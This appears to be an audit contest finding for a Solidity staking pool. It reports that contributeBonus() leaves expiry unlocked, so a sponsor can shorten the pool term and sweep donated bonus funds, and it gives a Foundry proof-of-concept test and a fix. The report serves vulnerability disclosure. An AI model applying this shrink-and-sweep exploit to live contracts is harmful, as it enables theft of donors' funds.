FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

`contributeBonus()` does not lock `expiry`, letting a sponsor shrink the pool term after a donation and sweep the entire third-party bonus to `recoveryAddress`

Author Revealed upon completion

Root + Impact

Root cause: contributeBonus() takes a permissionless, non-refundable donation but, unlike stake(), never sets the one-way expiryLocked latch - so expiry stays sponsor-mutable while the pool already holds bonus funds.

Impact: The sponsor shrinks expiry to the 30-day minimum, forces an EXPIRED resolution before the risk window can open, and sweeps 100% of the donated bonus to the sponsor-controlled recoveryAddress - a total, irreversible loss to the donor.

Description

  • expiryLocked is a one-way latch that freezes the advertised expiry once funds are committed against it, so the sponsor can't move the deadline out from under participants. The bonus pool rewards stakers who bear risk over that term, and contributeBonus() is permissionless and non-refundable.

  • The latch is set only in stake() - contributeBonus() never touches it. A bonus deposit therefore leaves expiry fully mutable, and setExpiry() (gated solely on expiryLocked) stays callable, so the sponsor can still shrink the term after the donation arrives.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
@> if (!expiryLocked) expiryLocked = true; // only stake() freezes expiry
...
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
...
_assertDepositsAllowed(_observePoolState());
@> // expiryLocked is NEVER set here - the contributor gets no protection
...
}

Risk

Likelihood:

  • A bonus is permissionless and routinely lands before the first stake (the sponsor bootstraps the pool by topping up the bonus, per README) - precisely the window where expiryLocked is still false.

  • The sponsor alone controls setExpiry and recoveryAddress and needs no counterparty, so the entire pre-first-stake period is a guaranteed shrink-and-sweep window.

Impact:

  • 100% of the donation is transferred to the sponsor-controlled recoveryAddress with no donor reclaim path - a total, irreversible loss.

  • This exceeds the accepted §5 behavior ("no observable risk → bonus sweeps to recovery"): §5 treats that outcome as circumstantial, but the shrink lets the sponsor force it, killing the pool before riskWindowStart can seal so no staker can ever earn the bonus it was meant to reward.

Proof of Concept

Save the code to test/unit/Finding_BonusExpiryShrink_PoC.t.sol and run it with the command: forge test --mt test_POC_sponsorRugsThirdPartyBonusViaUnlockedExpiry -vvv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract Finding1_BonusExpiryShrink_PoC is BaseConfidencePoolTest {
function test_POC_sponsorRugsThirdPartyBonusViaUnlockedExpiry() external {
uint256 t0 = block.timestamp;
// Sponsor advertises a 200-day pool; a third party donates 1,000 in reliance on it.
vm.prank(address(this));
pool.setExpiry(t0 + 200 days);
_contributeBonus(carol, 1_000 * ONE);
assertEq(pool.totalBonus(), 1_000 * ONE, "bonus received");
// ROOT CAUSE: the bonus did not lock expiry.
assertFalse(pool.expiryLocked(), "BUG: contributeBonus leaves expiry mutable");
// Sponsor shrinks the term to the 30-day minimum.
vm.prank(address(this));
pool.setExpiry(t0 + 30 days);
// At the shrunk expiry the agreement is still pre-attack: the risk window never opened,
// so the sponsor FORCED the "no observable risk" precondition.
vm.warp(t0 + 30 days);
assertEq(
uint256(attackRegistry.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.NEW_DEPLOYMENT),
"risk window never opened - pool terminated before it could"
);
// Anyone permissionlessly resolves EXPIRED (unrelated address), then the bonus is swept.
vm.prank(makeAddr("randomKeeper"));
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "resolved EXPIRED before any risk");
assertEq(pool.riskWindowStart(), 0, "no-observable-risk precondition was sponsor-forced, not circumstantial");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
// IMPACT: 100% of the donation stolen; the donor recovers nothing.
assertEq(token.balanceOf(recovery) - recoveryBefore, 1_000 * ONE, "full donation diverted to sponsor");
assertEq(token.balanceOf(carol), 0, "donor recovers nothing - contributeBonus is non-refundable");
}
}

result: [PASS]

Recommended Mitigation

Freeze expiry on a bonus contribution just as stake() does - a bonus is a deposit made in reliance on the advertised term and deserves the same protection.

function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
...
_assertDepositsAllowed(_observePoolState());
+
+ // Lock expiry so the sponsor cannot shrink it out from under the contributor (mirrors `stake`).
+ if (!expiryLocked) expiryLocked = true;
+
uint256 balanceBefore = stakeToken.balanceOf(address(this));
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!